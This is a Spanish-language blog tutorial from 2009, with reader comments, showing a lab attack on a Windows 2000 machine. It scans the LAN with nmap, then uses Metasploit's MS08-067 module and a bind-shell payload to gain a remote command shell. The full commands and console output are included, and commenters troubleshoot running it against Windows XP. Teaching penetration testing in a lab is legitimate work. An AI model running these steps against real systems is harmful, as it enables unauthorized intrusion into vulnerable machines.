Hackeando como en las películas

War games



El título del post no es mio, es el que dieron en Blackhat las Vegas cuando presentaron la versión 2.2 de Metasploit, ¡y nada más lejos de la realidad!. Metasploit (ahora en su versión 3.3) es una potentísima a la vez que sencilla herramienta para explotar las vulnerabilidades de sistemas operativos y software en general.

Su uso se basa en escanear los puertos abiertos de un equipo, utilizarlos para explotar posibles fallos de seguridad y lograr así obtener una shell, crear usuarios (con permisos de administrador) o hasta un escritorio remoto.

Esta vez voy a llevar a cabo un ataque a modo de ejemplo contra un equipo con Windows 2000. El sistema operativo de la victima no es tan importante como pueda parecer, pues el éxito de la operación depende más de los puertos abiertos y de las vulnerabilidades que contenga la víctima. En este aspecto Metasploit es realmente eficaz ya que incorpora actualizaciones con frecuencia.

En primer lugar será necesario tener instalada la aplicación (aquí puedes ver cómo hacerlo) y conocer algunos conceptos básicos:

  • Exploit: Código o un proceso por el cual se consigue aprovechar una vulnerabilidad.
  • Payload: Código que se inyecta a la víctima por medio del exploit. Generalmente son pequeños programas en ensamblador que permiten ejecutar comandos, enviar o recibir archivos, habilitar shells, etc.
  • NOP: Permite ofuscar el código que enviamos a la víctima para no ser detectado por su software de seguridad.
  • Encoder: Al igual que NOP, dificulta la detección enviando en este caso el código codificado.


Identificando al protagonista



El protagonista de nuestra película se encuentra en algún punto de la red y vamos a descubrirlo escaneándola con NMAP. e indicando el rango de Ips.

juansa@compiuta:~$ nmap 192.168.1.1-255
Starting Nmap 4.62 ( http://nmap.org ) at 2009-06-02 22:37 CEST
Interesting ports on 192.168.1.1:
Not shown: 1710 filtered ports
PORT     STATE  SERVICE
20/tcp   closed ftp-data
21/tcp   closed ftp
23/tcp   closed telnet
80/tcp   open   http
1723/tcp open   pptp

Interesting ports on 192.168.1.102:
Not shown: 1713 closed ports
PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Interesting ports on 192.168.1.109:
Not shown: 1704 closed ports
PORT     STATE    SERVICE
135/tcp  open     msrpc
139/tcp  open     netbios-ssn
307/tcp  filtered unknown
315/tcp  filtered dpsi
445/tcp  open     microsoft-ds
507/tcp  filtered crs
817/tcp  filtered unknown
1025/tcp open     NFS-or-IIS
1400/tcp filtered cadkey-tablet
2048/tcp filtered dls-monitor
2301/tcp filtered compaqdiag
Nmap done: 255 IP addresses (3 hosts up) scanned in 135.113 seconds
juansa@compiuta:~$ 


Como puede apreciarse NMAP ha devuelto tres resultados. El primero (192.168.1.1) corresponde al router, el segundo es mi propio equipo (192.168.1.102) y el tercero nuestra víctima (192.168.1.109).

Curiosidad que sí viene al caso: nada mejor que instalar un Windows 2000 para tener de entrada nada menos que 11 puertos a la escucha. :D

De entre tanto puerto no vamos a necesitar más que uno. El puerto 445/tcp es bien sabido que tiene vulnerabilidades, y en este caso la víctima no ha instalado el parche correspondiente, por lo que ya tenemos todo lo que necesitamos para el siguiente paso.

Preparando el ataque



Ejecutamos Metasploit.

juansa@compiuta:~$ cd /opt/MSF/trunk/
juansa@compiuta:/opt/MSF/trunk$ ./msfconsole


Habiendo decidido el puerto queda por saber el exploit que usaremos. Consultando la documentación de Metasploit vemos que para el puerto 445/tcp existen varios exploits. También puede verse una lista de los exploits disponibles por medio del comando show exploits. En mi caso me quedaré con el siguiente: windows/smb/ms08_067_netapi.

msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > 


Ahora seleccionamos el payload que inyectaremos. Podemos ver los payloads compatibles con el exploit seleccionado con el comando show payloads.

msf exploit(ms08_067_netapi) > show payloads
Compatible payloads
===================
Name                                            Description                                                                  
----                                            -----------                                                                  
generic/debug_trap                              Generic x86 Debug Trap                                                       
generic/debug_trap/bind_ipv6_tcp                Generic x86 Debug Trap, Bind TCP Stager (IPv6)                               
generic/debug_trap/bind_nonx_tcp                Generic x86 Debug Trap, Bind TCP Stager (No NX Support)                      
generic/debug_trap/bind_tcp                     Generic x86 Debug Trap, Bind TCP Stager                                      
...
msf exploit(ms08_067_netapi) >

La lista es bien grande, así que solo he mostrado los tres primeros payloads. Seleccionaremos el payload windows/shell_bind_tcp, que nos abre una shell.

msf exploit(ms08_067_netapi) > set payload windows/shell_bind_tcp
payload => windows/shell_bind_tcp
msf exploit(ms08_067_netapi) >


Ahora nos queda ver el resto de parámetros necesarios antes de ejecutar el ataque. Para ello tenemos el comando show options

msf exploit(ms08_067_netapi) > show options
Module options:
Name     Current Setting  Required  Description                             
----     ---------------  --------  -----------                             
RHOST                     yes       The target address                      
RPORT    445              yes       Set the SMB service port                
SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)  
Payload options (windows/shell_bind_tcp):
Name      Current Setting  Required  Description                           
----      ---------------  --------  -----------                           
EXITFUNC  thread           yes       Exit technique: seh, thread, process  
LPORT     4444             yes       The local port                        
RHOST                      no        The target address                    
Exploit target:
Id  Name                 
--  ----                 
0   Automatic Targeting  
msf exploit(ms08_067_netapi) >


Podemos ver como de todos los parametros a introducir tan solo hace falta especificar uno: RHOST que como bien se indica corresponde a la IP de la víctima (the target address). Indiquémoslo.

msf exploit(ms08_067_netapi) > set RHOST 192.168.1.109
RHOST => 192.168.1.109
msf exploit(ms08_067_netapi) >


¡Ejecutando el ataque!



Victima identificada, parámetros establecidos... lo tenemos todo. Ya solo nos queda ejecutar el ataque. Mirad que fácil.

msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows 2000  - lang:Spanish
[*] Selected Target: Windows 2000 Universal
[*] Triggering the vulnerability...
[*] Command shell session 1 opened (192.168.1.102:40535 -> 192.168.1.109:4444)
Microsoft Windows 2000 [Versión 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\WINNT\system32>


Y aquí lo teneis, el shell de Windows 2000 a nuestra disposición!

Nota: Imagen del post robada malament de la web ScarletMidnight.com

02-06-2009


Comentarios:

07-06-2009 | Lobezno Buena herramienta el Metasploit, siempre he probado con exploits especificos pero es una ventaja una herramienta tan adaptable y general.

Recomiendo visitar www.insecure.org , ya que aparte de tratar el nmap aparecen listadas las mejores herramientas para escanear vulnerabilidades y software variado sobre seguridad.

07-06-2009 | SaveR Gracias Lobezno, voy a darme una vuelta por la web que recomiendas ahora mismo que justo me pillas necesitado de info sobre nmap

17-09-2009 | roke busko un guru de la informatika ke me enseña todo a cerka de seguridad y cosas de esas estaria dispuesto a ir donde iciera falta.
un saludo de roke

20-03-2010 | vircot como buscas el exploit para un puerto especifico y abierto en el metasploit?
hay algun comando? se que esta el show exploits, pero no pone para que puertos sirve.....
Saludos

09-10-2010 | C0mpus4m vircot, puedes poner el comando info una vez que ya estas en el exploit especifico.

con eso ya te dice que cosas necesitas para iniciar el exploit.

Saludos.

Ha se me pasaba, buen blog. sigue Asi Juan.

02-11-2010 | NeSsiux- Un dato para complementar el tema de nmap, busquen información acerca de openvas (te da un resumen de las vulnerabilidades) además de ello este resumen puede ser exportado y ser usado con el comando autopwn en metasploit.

30-06-2011 | java4ever hola ke tal a mi me da error al crear la session. mira esto:


[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 3 - lang:Spanish
[*] Selected Target: Windows XP SP3 Spanish (NX)
[*] Attempting to trigger the vulnerability...
[*] Exploit completed, but no session was created.


a ke se debe esto???

01-07-2013 | Miguel Angel Perez Picos Hice lo que esta en el post, pero siempre me sale esto, y según he visto, debería de aparecer la herramienta meterpreter, que puedo hacer si esto es lo que siempre me arroja?

Estoy usando Backtrak
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 3 - lang:Spanish
[*] Selected Target: Windows XP SP3 Spanish (NX)
[*] Attempting to trigger the vulnerability...
msf exploit(ms08_067_netapi)>

31-07-2016 | Luis Genial. Después de seguir varios tutoriales sin éxito, ya lo iba a dejar por imposible. Y este funcionó perfectamente para un XP SP3. Muchas gracias :-)

Pues yo pienso que:


Suscribirse